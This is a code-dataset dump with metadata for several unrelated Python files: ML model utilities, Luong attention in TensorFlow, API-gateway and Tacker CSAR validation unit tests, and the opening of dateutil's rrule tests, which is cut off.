396

87

39.386364

0.805841

0.082324

0

0.680702

0

0.027054

0

0.17193

1

0.077193

false

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0.126316

0

null

0

1

0

null

0

6

d9c24bda6eb3ab4a39db281be5bdf1ecfd85193c

43

py

Python

openselfsup/models/backbones/__init__.py

youqingxiaozhua/OpenSelfSup

7e94af11d8bec67cace70fb881e45228224fe14d

[ "Apache-2.0" ]

1,624

2020-06-16T04:03:15.000Z

2021-12-16T03:42:24.000Z

openselfsup/models/backbones/__init__.py

changlin31/OpenSelfSup

ab8fc27c6b43679317eaf312b85461ba490606af

[ "Apache-2.0" ]

91

2020-06-16T13:57:20.000Z

2021-12-06T09:24:03.000Z

openselfsup/models/backbones/__init__.py

changlin31/OpenSelfSup

ab8fc27c6b43679317eaf312b85461ba490606af

[ "Apache-2.0" ]

235

2020-06-16T05:45:52.000Z

2021-12-15T02:43:21.000Z

from .resnet import ResNet, make_res_layer

21.5

42

0.837209

7

43

4.857143

0.857143

0

0.116279

43

1

43

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null

0

1

0

1

0

1

0

6

d9e6c5ea9e3ed68e26cd246667b37c630acbce2d

300

py

Python

sklearnbot/utils/misc.py

hp2500/sklearn-bot

4a84ae7d58a54b90802978782ea7a33a05031de2

[ "BSD-3-Clause" ]

null

sklearnbot/utils/misc.py

hp2500/sklearn-bot

4a84ae7d58a54b90802978782ea7a33a05031de2

[ "BSD-3-Clause" ]

null

sklearnbot/utils/misc.py

hp2500/sklearn-bot

4a84ae7d58a54b90802978782ea7a33a05031de2

[ "BSD-3-Clause" ]

null

from time import gmtime, strftime def get_time(): """ Returns a string representing the time, to be used in string output to the stdout and stderr Returns ------- time: str A string representing the time """ return strftime("[%Y-%m-%d %H:%M:%S]", gmtime())

20

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79

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true

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null

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1

0

1

0

6

8a13af17632468096ed35d2e2d2874ce2796756a

1,169

py

Python

tests/test_upstream_repository.py

sunwei/ddd-api-gateway

438c1bdcf7f10d383cf9d7c596c39bf88b8756cd

[ "MIT" ]

null

tests/test_upstream_repository.py

sunwei/ddd-api-gateway

438c1bdcf7f10d383cf9d7c596c39bf88b8756cd

[ "MIT" ]

null

tests/test_upstream_repository.py

sunwei/ddd-api-gateway

438c1bdcf7f10d383cf9d7c596c39bf88b8756cd

[ "MIT" ]

null

# -*- coding: utf-8 -*- """Test ApiGW""" import pytest from ddd_api_gateway.apigw_factory import create_api_gw from ddd_api_gateway.upstream_repository import UpstreamRepository @pytest.mark.usefixtures("api_gw_json_data") def test_find_upstream_by_id(api_gw_json_data): api_gw_instance = create_api_gw("json", data=api_gw_json_data) repository = UpstreamRepository(upstreams=api_gw_instance.upstreams) first_upstream = repository.upstreams[0] assert repository.find(first_upstream.id) is first_upstream @pytest.mark.usefixtures("api_gw_json_data") def test_find_upstream_by_name(api_gw_json_data): api_gw_instance = create_api_gw("json", data=api_gw_json_data) repository = UpstreamRepository(upstreams=api_gw_instance.upstreams) first_upstream = repository.upstreams[0] assert repository.find_by_name(first_upstream.name) is first_upstream @pytest.mark.usefixtures("api_gw_json_data") def test_find_all_upstreams(api_gw_json_data): api_gw_instance = create_api_gw("json", data=api_gw_json_data) repository = UpstreamRepository(upstreams=api_gw_instance.upstreams) assert repository.find_all() is repository.upstreams

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0.123007

0.177677

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1,169

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0

1

0

1

0

null

0

6

8a18f4c0169b7e8663c75671f3e4b63eb6a1e3cd

23,878

py

Python

tacker/tests/unit/common/test_csar_utils.py

SSU-DCN/tacker

d886ac7fec3d9cf6e0cefc5d2fa89a733a5255ae

[ "Apache-2.0" ]

null

tacker/tests/unit/common/test_csar_utils.py

SSU-DCN/tacker

d886ac7fec3d9cf6e0cefc5d2fa89a733a5255ae

[ "Apache-2.0" ]

null

tacker/tests/unit/common/test_csar_utils.py

SSU-DCN/tacker

d886ac7fec3d9cf6e0cefc5d2fa89a733a5255ae

[ "Apache-2.0" ]

1

2020-11-16T02:14:35.000Z

# Copyright (c) 2019 NTT DATA. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import os import shutil import tempfile import testtools from unittest import mock import uuid import zipfile from tacker.common import csar_utils from tacker.common import exceptions from tacker import context from tacker.tests import constants from tacker.tests import utils class TestCSARUtils(testtools.TestCase): def setUp(self): super(TestCSARUtils, self).setUp() self.context = context.get_admin_context() def _get_csar_file_path(self, file_name): return os.path.join("./tacker/tests/etc/samples", file_name) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data(self, mock_extract_csar_zip_file): file_path, _ = utils.create_csar_with_unique_vnfd_id( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnfpkg_tosca_vnfd') self.addCleanup(os.remove, file_path) vnf_data, flavours, vnf_artifacts = csar_utils.load_csar_data( self.context, constants.UUID, file_path) self.assertEqual(vnf_data['descriptor_version'], '1.0') self.assertEqual(vnf_data['vnfm_info'], ['Tacker']) self.assertEqual(flavours[0]['flavour_id'], 'simple') self.assertIsNotNone(flavours[0]['sw_images']) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_single_yaml( self, mock_extract_csar_zip_file): file_path, _ = utils.create_csar_with_unique_vnfd_id( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnfpkg_no_meta_single_vnfd') self.addCleanup(os.remove, file_path) vnf_data, flavours, vnf_artifacts = csar_utils.load_csar_data( self.context, constants.UUID, file_path) self.assertEqual(vnf_data['descriptor_version'], '1.0') self.assertEqual(vnf_data['vnfm_info'], ['Tacker']) self.assertEqual(flavours[0]['flavour_id'], 'simple') self.assertIsNotNone(flavours[0]['sw_images']) def _get_csar_zip_from_dir(self, dir_name): csar_dir_path = os.path.join('test_csar_utils_data', dir_name) unique_name = str(uuid.uuid4()) csar_temp_dir = os.path.join('/tmp', unique_name) self.addCleanup(shutil.rmtree, csar_temp_dir) utils.copy_csar_files(csar_temp_dir, csar_dir_path) # Copy contents from 'test_csar_utils_common' to 'csar_temp_dir'. common_dir_path = ('./tacker/tests/etc/samples/etsi/nfv/' 'test_csar_utils_data/test_csar_utils_common') common_yaml_file = os.path.join(common_dir_path, 'Definitions/helloworld3_types.yaml') shutil.copy(common_yaml_file, os.path.join(csar_temp_dir, 'Definitions/')) shutil.copytree(os.path.join(common_dir_path, "TOSCA-Metadata/"), os.path.join(csar_temp_dir, "TOSCA-Metadata/")) # Create temporary zip file from 'csar_temp_dir' tempfd, tempname = tempfile.mkstemp(suffix=".zip", dir=csar_temp_dir) os.close(tempfd) zcsar = zipfile.ZipFile(tempname, 'w') for (dpath, _, fnames) in os.walk(csar_temp_dir): for fname in fnames: src_file = os.path.join(dpath, fname) dst_file = os.path.relpath(os.path.join(dpath, fname), csar_temp_dir) zcsar.write(src_file, dst_file) zcsar.close() return tempname @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_in_meta_and_manifest_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_in_meta_and_manifest') self.addCleanup(os.remove, file_path) vnf_data, flavours, vnf_artifacts = csar_utils.load_csar_data( self.context, constants.UUID, file_path) self.assertEqual(vnf_data['descriptor_version'], '1.0') self.assertEqual(vnf_data['vnfm_info'], ['Tacker']) self.assertEqual(flavours[0]['flavour_id'], 'simple') self.assertIsNotNone(flavours[0]['sw_images']) self.assertIsNotNone(vnf_artifacts) self.assertIsNotNone(vnf_artifacts[0]['Source']) self.assertIsNotNone(vnf_artifacts[0]['Hash']) for item in vnf_artifacts: flag = item.get('Source').lower().endswith('.img') self.assertEqual(flag, False) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_single_manifest_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_manifest') self.addCleanup(os.remove, file_path) vnf_data, flavours, vnf_artifacts = csar_utils.load_csar_data( self.context, constants.UUID, file_path) self.assertEqual(vnf_data['descriptor_version'], '1.0') self.assertEqual(vnf_data['vnfm_info'], ['Tacker']) self.assertEqual(flavours[0]['flavour_id'], 'simple') self.assertIsNotNone(flavours[0]['sw_images']) self.assertIsNotNone(vnf_artifacts) self.assertIsNotNone(vnf_artifacts[0]['Source']) self.assertIsNotNone(vnf_artifacts[0]['Hash']) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_single_meta_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_meta') self.addCleanup(os.remove, file_path) vnf_data, flavours, vnf_artifacts = csar_utils.load_csar_data( self.context, constants.UUID, file_path) self.assertEqual(vnf_data['descriptor_version'], '1.0') self.assertEqual(vnf_data['vnfm_info'], ['Tacker']) self.assertEqual(flavours[0]['flavour_id'], 'simple') self.assertIsNotNone(flavours[0]['sw_images']) self.assertIsNotNone(vnf_artifacts) self.assertIsNotNone(vnf_artifacts[0]['Source']) self.assertIsNotNone(vnf_artifacts[0]['Hash']) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_meta_in_manifest_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_meta_in_manifest') self.addCleanup(os.remove, file_path) vnf_data, flavours, vnf_artifacts = csar_utils.load_csar_data( self.context, constants.UUID, file_path) self.assertEqual(vnf_data['descriptor_version'], '1.0') self.assertEqual(vnf_data['vnfm_info'], ['Tacker']) self.assertEqual(flavours[0]['flavour_id'], 'simple') self.assertIsNotNone(flavours[0]['sw_images']) self.assertIsNotNone(vnf_artifacts) self.assertIsNotNone(vnf_artifacts[0]['Source']) self.assertIsNotNone(vnf_artifacts[0]['Hash']) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_false_mf_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_in_meta_and_manifest_false') self.addCleanup(os.remove, file_path) manifest_path = 'manifest.mf1' exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) msg = (('The file "%(manifest)s" in the CSAR "%(csar)s" does not ' 'contain valid manifest.') % {'manifest': manifest_path, 'csar': file_path}) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_false_mf_name_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_in_single_manifest_false_name') self.addCleanup(os.remove, file_path) manifest_path = 'VNF1.mf' exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) msg = (('The filename "%(manifest)s" is an invalid name.' 'The name must be the same as the main template ' 'file name.') % {'manifest': manifest_path, 'csar': file_path}) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_false_hash_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_in_meta_and_manifest_false_hash') self.addCleanup(os.remove, file_path) exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) hash_code = '27bbdb25d8f4ed6d07d6f6581b86515e8b2f' \ '0059b236ef7b6f50d6674b34f02' artifact_path = 'Scripts/install.sh' msg = (('The hash "%(hash)s" of artifact file ' '"%(artifact)s" is an invalid value.') % {'hash': hash_code, 'artifact': artifact_path}) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_missing_key_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_in_meta_and_manifest_missing_key') self.addCleanup(os.remove, file_path) exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) key_name = sorted(['Algorithm']) msg = (('One of the artifact information may not have ' 'the key("%(key)s")') % {'key': key_name}) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_missing_value_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_in_meta_and_manifest_missing_value') self.addCleanup(os.remove, file_path) exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) key_name = 'Algorithm' msg = (('One of the artifact information may not have ' 'the key value("%(key)s")') % {'key': key_name}) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_false_source_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_in_meta_and_manifest_false_source') self.addCleanup(os.remove, file_path) exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) artifact_path = 'Scripts/install.s' msg = (('The path("%(artifact_path)s") of ' 'artifact Source is an invalid value.') % {'artifact_path': artifact_path}) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_false_algorithm_with_vnf_artifact( self, mock_extract_csar_zip_file): file_path = utils.create_csar_with_unique_artifact( './tacker/tests/etc/samples/etsi/nfv/' 'sample_vnf_package_csar_in_meta_and_manifest_false_algorithm') self.addCleanup(os.remove, file_path) exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) algorithm = 'sha-255' artifact_path = 'Scripts/install.sh' msg = (('The algorithm("%(algorithm)s") of ' 'artifact("%(artifact_path)s") is ' 'an invalid value.') % {'algorithm': algorithm, 'artifact_path': artifact_path}) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_without_instantiation_level( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_without_instantiation_level') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) msg = ('Policy of type' ' "tosca.policies.nfv.InstantiationLevels is not defined.') self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_invalid_instantiation_level( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_invalid_instantiation_level') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) levels = ['instantiation_level_1', 'instantiation_level_2'] msg = ("Level(s) instantiation_level_3 not found in " "defined levels %s") % ",".join(sorted(levels)) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_invalid_default_instantiation_level( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_with_invalid_default_instantiation_level') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) levels = ['instantiation_level_1', 'instantiation_level_2'] msg = ("Level instantiation_level_3 not found in " "defined levels %s") % ",".join(sorted(levels)) self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_without_vnfd_info( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_without_vnfd_info') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) self.assertEqual("VNF properties are mandatory", exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_artifacts_and_without_sw_image_data( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_without_sw_image_data') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) msg = ('Node property "sw_image_data" is missing for ' 'artifact sw_image for node VDU1.') self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_multiple_sw_image_data( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_with_multiple_sw_image_data') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) msg = ('artifacts of type "tosca.artifacts.nfv.SwImage"' ' is added more than one time for node VDU1.') self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_csar_with_missing_sw_image_data_in_main_template( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_with_missing_sw_image_data_in_main_template') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) msg = ('Node property "sw_image_data" is missing for' ' artifact sw_image for node VDU1.') self.assertEqual(msg, exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_without_flavour_info( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir('csar_without_flavour_info') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) self.assertEqual("No VNF flavours are available", exc.format_message()) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_without_flavour_info_in_main_template( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_without_flavour_info_in_main_template') exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, file_path) self.assertEqual("No VNF flavours are available", exc.format_message()) @mock.patch.object(os, 'remove') @mock.patch.object(shutil, 'rmtree') def test_delete_csar_data(self, mock_rmtree, mock_remove): csar_utils.delete_csar_data(constants.UUID) mock_rmtree.assert_called() mock_remove.assert_called() @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_without_policies( self, mock_extract_csar_zip_file): file_path = self._get_csar_zip_from_dir( 'csar_without_policies') vnf_data, flavours, vnf_artifacts = csar_utils.load_csar_data( self.context, constants.UUID, file_path) self.assertIsNone(flavours[0].get('instantiation_levels')) self.assertEqual(vnf_data['descriptor_version'], '1.0') @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_with_artifacts_short_notation_without_sw_image_data( self, mock_extract_csar_zip_file): file_path = "./tacker/tests/etc/samples/etsi/nfv/" \ "csar_short_notation_for_artifacts_without_sw_image_data" zip_name, uniqueid = utils.create_csar_with_unique_vnfd_id(file_path) exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, zip_name) msg = ('Node property "sw_image_data" is missing for' ' artifact sw_image for node VDU1.') self.assertEqual(msg, exc.format_message()) os.remove(zip_name) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_artifacts_short_notation( self, mock_extract_csar_zip_file): file_path = "./tacker/tests/etc/samples/etsi/nfv/" \ "csar_with_short_notation_for_artifacts" zip_name, uniqueid = utils.create_csar_with_unique_vnfd_id(file_path) vnf_data, flavours, vnf_artifacts = csar_utils.load_csar_data( self.context, constants.UUID, zip_name) self.assertEqual(vnf_data['descriptor_version'], '1.0') self.assertEqual(vnf_data['vnfm_info'], ['Tacker']) self.assertEqual(flavours[0]['flavour_id'], 'simple') self.assertIsNotNone(flavours[0]['sw_images']) os.remove(zip_name) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_multiple_sw_image_data_with_short_notation( self, mock_extract_csar_zip_file): file_path = "./tacker/tests/etc/samples/etsi/nfv/" \ "csar_multiple_sw_image_data_with_short_notation" zip_name, uniqueid = utils.create_csar_with_unique_vnfd_id(file_path) exc = self.assertRaises(exceptions.InvalidCSAR, csar_utils.load_csar_data, self.context, constants.UUID, zip_name) msg = ('artifacts of type "tosca.artifacts.nfv.SwImage"' ' is added more than one time for node VDU1.') self.assertEqual(msg, exc.format_message()) os.remove(zip_name) @mock.patch('tacker.common.csar_utils.extract_csar_zip_file') def test_load_csar_data_with_unit_conversion( self, mock_extract_csar_zip_file): file_path, _ = utils.create_csar_with_unique_vnfd_id( './tacker/tests/etc/samples/etsi/nfv/sample_vnfpkg_tosca_vnfd') self.addCleanup(os.remove, file_path) vnf_data, flavours, vnf_artifact = csar_utils.load_csar_data( self.context, constants.UUID, file_path) self.assertEqual(vnf_data['descriptor_version'], '1.0') self.assertEqual(vnf_data['vnfm_info'], ['Tacker']) self.assertEqual(flavours[0]['flavour_id'], 'simple') self.assertIsNotNone(flavours[0]['sw_images']) # 'size', 'min_disk' and 'min_ram' values from sample VNFD will # be converted to Bytes self.assertEqual(flavours[0]['sw_images'][0]['min_disk'], 1000000000) self.assertEqual(flavours[0]['sw_images'][0]['size'], 1879048192) self.assertEqual(flavours[0]['sw_images'][1]['min_disk'], 2000000000) self.assertEqual(flavours[0]['sw_images'][1]['size'], 2000000000) self.assertEqual(flavours[0]['sw_images'][1]['min_ram'], 8590458880)

51.130621

79

0.659561

2,949

23,878

4.96609

0.085792

0.038785

0.051622

0.066371

0.816661

0.808467

0.800546

0.78648

0.769409

0.766405

0

0.009313

0.240012

23,878

466

80

51.240343

0.797708

0.032373

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0.641463

0

0.232122

0.148915

0

0.219512

1

0.07561

false

0

0.029268

0.002439

0.112195

0

null

0

1

0

null

0

6

8a2637e029636484c193ceed43225e7f352fd298

3,094

py

Python

util/model_luong_attention.py

david-yoon/detecting-incongruity

2e121fdba0da3a6a0c63df0c46a101a789fe7565

[ "MIT" ]

36

2018-11-25T21:43:10.000Z

2022-03-13T10:47:50.000Z

util/model_luong_attention.py

david-yoon/detecting-incongruity

2e121fdba0da3a6a0c63df0c46a101a789fe7565

[ "MIT" ]

1

2019-06-16T07:45:47.000Z

2019-10-14T06:00:29.000Z

util/model_luong_attention.py

david-yoon/detecting-incongruity

2e121fdba0da3a6a0c63df0c46a101a789fe7565

[ "MIT" ]

5

2018-12-09T06:40:19.000Z

2019-10-17T22:07:58.000Z

#-*- coding: utf-8 -*- import tensorflow as tf ''' desc : apply luong attention to target vector with given condition input : - batch_size : - target : [batch, seq, embed] - condition : [batch, embed] --> last hidden - target_encoder_length : max encoder length - hidden : should be same btw target and condition, otherwise code should be changed output : - attented target : weighted sum [batch, embed] - norm_dot : attention weight ''' def luong_attention( batch_size, target, condition, target_encoder_length, hidden_dim ) : # same dim [batch, max_seq, embed] batch_seq_embed_target = tf.reshape( target, [batch_size, target_encoder_length, hidden_dim] ) batch_embed_given = condition batch_seq_embed_given = tf.reshape( batch_embed_given, [batch_size, hidden_dim, 1] ) # calculate similarity dot = tf.matmul( batch_seq_embed_target, batch_seq_embed_given ) # pad goes to -inf --> goes "0" after softmax pad_position = tf.equal(tf.reshape(dot, [batch_size, target_encoder_length]), 0.0) tmp = tf.to_float(pad_position) * -1e9 tmp = tf.expand_dims(tmp, 2) base = tf.ones( [batch_size, target_encoder_length, 1] ) * tmp norm_dot = tf.nn.softmax( dot+base, dim=1 ) # weighted sum by using similarity (normalized) target_mul_norm = tf.multiply( batch_seq_embed_target, norm_dot ) weighted_sum = tf.reduce_sum( target_mul_norm, axis=1 ) return weighted_sum, norm_dot ''' desc : apply luong attention to target vector with given condition input : - batch_size : - target : [batch, seq, embed] - condition : [batch, embed] --> last hidden - target_encoder_length : max encoder length - hidden : should be same btw target and condition, otherwise code should be changed output : - attented target : weighted sum [batch, embed] - norm_dot : attention weight ''' def luong_attention_new( batch_size, target, condition, batch_seq, max_len, hidden_dim ) : # same dim [batch, max_seq, embed] batch_seq_embed_target = tf.reshape( target, [batch_size, max_len, hidden_dim] ) batch_embed_given = condition batch_seq_embed_given = tf.reshape( batch_embed_given, [batch_size, hidden_dim, 1] ) # calculate similarity dot = tf.matmul( batch_seq_embed_target, batch_seq_embed_given ) dot = tf.squeeze(dot) """ # pad goes to -inf --> goes "0" after softmax """ mask = tf.sequence_mask( lengths=batch_seq, maxlen=max_len, dtype=tf.float32 ) mask_value = -tf.ones_like( mask ) * tf.float32.max mask_value = tf.multiply( mask_value, ( 1- mask ) ) base = mask_value norm_dot = tf.nn.softmax( dot + base, dim=-1 ) # weighted sum by using similarity (normalized) target_mul_norm = tf.multiply( batch_seq_embed_target, tf.expand_dims(norm_dot, -1) ) weighted_sum = tf.reduce_sum( target_mul_norm, axis=1 ) return weighted_sum, norm_dot

34.377778

103

0.662896

414

3,094

4.690821

0.205314

0.057673

0.08033

0.058702

0.808445

0.759011

0.729145

0

0.008955

0.242081

3,094

90

104

34.377778

0.81919

0.086296

0

0.357143

0

1

0.071429

false

0

0.035714

0

0.178571

0

null

0

1

0

null

0

6

8a4854ea7dc30866c8aec8da5f94e187d789c58c

34

py

Python

src/restfx/session/__init__.py

hyjiacan/restfx

8ba70bc099e6ace0c9b3afe8909ea61a5ff82dec

[ "MIT", "BSD-3-Clause" ]

5

2021-01-25T11:09:41.000Z

2021-04-28T07:17:21.000Z

src/restfx/session/__init__.py

mgbin088/restfx

86a499a9a4396829e2c40428feb8b2ee13406d52

[ "MIT", "BSD-3-Clause" ]

null

src/restfx/session/__init__.py

mgbin088/restfx

86a499a9a4396829e2c40428feb8b2ee13406d52

[ "MIT", "BSD-3-Clause" ]

1

2021-01-28T00:53:37.000Z

from .session import HttpSession

17

33

0.823529

4

34

7

1

0

0.147059

34

1

34

0.965517

0

1

0

true

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1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

8a537119e33b3426368dbd5821dc8fd3b8adda07

209,361

py

Python

dateutil/test/test_rrule.py

NATTURNER777/khbgkjgj

c75e4094a07b98742224008ae09ea40f9b19aa1a

[ "Apache-2.0" ]

null

dateutil/test/test_rrule.py

NATTURNER777/khbgkjgj

c75e4094a07b98742224008ae09ea40f9b19aa1a

[ "Apache-2.0" ]

null

dateutil/test/test_rrule.py

NATTURNER777/khbgkjgj

c75e4094a07b98742224008ae09ea40f9b19aa1a

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals from ._common import WarningTestMixin from datetime import datetime, date import unittest from six import PY3 from dateutil.rrule import ( rrule, rruleset, rrulestr, YEARLY, MONTHLY, WEEKLY, DAILY, HOURLY, MINUTELY, SECONDLY, MO, TU, WE, TH, FR, SA, SU ) class RRuleTest(WarningTestMixin, unittest.TestCase): def _rrulestr_reverse_test(self, rule): """ Call with an `rrule` and it will test that `str(rrule)` generates a string which generates the same `rrule` as the input when passed to `rrulestr()` """ rr_str = str(rule) rrulestr_rrule = rrulestr(rr_str) self.assertEqual(list(rule), list(rrulestr_rrule)) def testStrAppendRRULEToken(self): # `_rrulestr_reverse_test` does not check if the "RRULE:" prefix # property is appended properly, so give it a dedicated test self.assertEqual(str(rrule(YEARLY, count=5, dtstart=datetime(1997, 9, 2, 9, 0))), "DTSTART:19970902T090000\n" "RRULE:FREQ=YEARLY;COUNT=5") rr_str = ( 'DTSTART:19970105T083000\nRRULE:FREQ=YEARLY;INTERVAL=2' ) self.assertEqual(str(rrulestr(rr_str)), rr_str) def testYearly(self): self.assertEqual(list(rrule(YEARLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1998, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0)]) def testYearlyInterval(self): self.assertEqual(list(rrule(YEARLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1999, 9, 2, 9, 0), datetime(2001, 9, 2, 9, 0)]) def testYearlyIntervalLarge(self): self.assertEqual(list(rrule(YEARLY, count=3, interval=100, dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(2097, 9, 2, 9, 0), datetime(2197, 9, 2, 9, 0)]) def testYearlyByMonth(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 2, 9, 0), datetime(1998, 3, 2, 9, 0), datetime(1999, 1, 2, 9, 0)]) def testYearlyByMonthDay(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 3, 9, 0), datetime(1997, 10, 1, 9, 0), datetime(1997, 10, 3, 9, 0)]) def testYearlyByMonthAndMonthDay(self): self.assertEqual(list(rrule(YEARLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1998, 1, 5, 9, 0), datetime(1998, 1, 7, 9, 0), datetime(1998, 3, 5, 9, 0)]) def testYearlyByWeekDay(self): self.assertEqual(list(rrule(YEARLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))), [datetime(1997, 9, 2, 9, 0), datetime(1997, 9, 4, 9, 0), datetime(1997, 9, 9, 9, 0)]) def testYearlyByNWeekDay(self): self.assertEqual(list(rrule(YEARLY, count=3, byweekday=(TU(1), TH(-1)), 